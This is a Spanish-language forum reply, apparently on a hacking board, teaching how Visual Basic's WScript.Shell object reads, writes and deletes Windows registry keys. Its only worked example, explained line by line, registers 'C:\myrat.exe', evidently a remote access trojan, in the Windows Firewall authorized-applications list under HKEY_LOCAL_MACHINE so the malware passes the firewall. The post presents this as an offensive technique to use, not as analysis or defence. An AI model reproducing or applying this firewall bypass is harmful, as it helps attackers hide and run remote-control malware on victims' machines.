Vaya hasta que alguien me agradece jiji

voy a llorar bueno te explicare:
Bueno para poder manejar el registro con Script HOst desde visual, hay 3 maneras fundamentales para poder hacerlo y son :
Escribir =>
RegWrite
Eliminar =>
RegDelete
RegRead =>
RegRead
Para poder acceder a estas maneras o metodos es necesario crear mediante automatización, con CreateObject, un objeto de tipo wscript.Shell
Esto es como cualquier otro objecto en Vb, y lo declararemos como una variable Object. CreateObject le especificamos que vamos a crear un objeto "Wscript.Shell". Cuando acabe la función o para eliminarla sería con "nothing" bueno un ejemplo sería el de arriba pero bien hay que explicarlo:
dim registro as object
Dim Saltando as string
set registro = CreateObject("wscript.shell")
registro.regwrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\" & "Saltando", "C:\myrat.exe"
set registro = NOthing
Dim registro as object
Declaramos como varible el objecto llamado registro.
Dim registro as string
Declaramos una cadena string llamada saltando, :p
set registro = CreateObject("wscript.shell")
Creamos el objecto
registro.regwr
ite "HKEY_LOCAL_MAC
HINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\" & "Saltando", "C:\myrat.exe"
Ay que es la parte mas emocionante, Escribiremos en la rama Hkey_local machine, el & "Saltando" es el nombre de una cadena de tipo String, el "C:\myrat.exe" es la ruta del ejecutable, bueno y ya para eliminar el objecto sería así
set registro = Nothing
Bueno espero que me hayas entendido
Salu2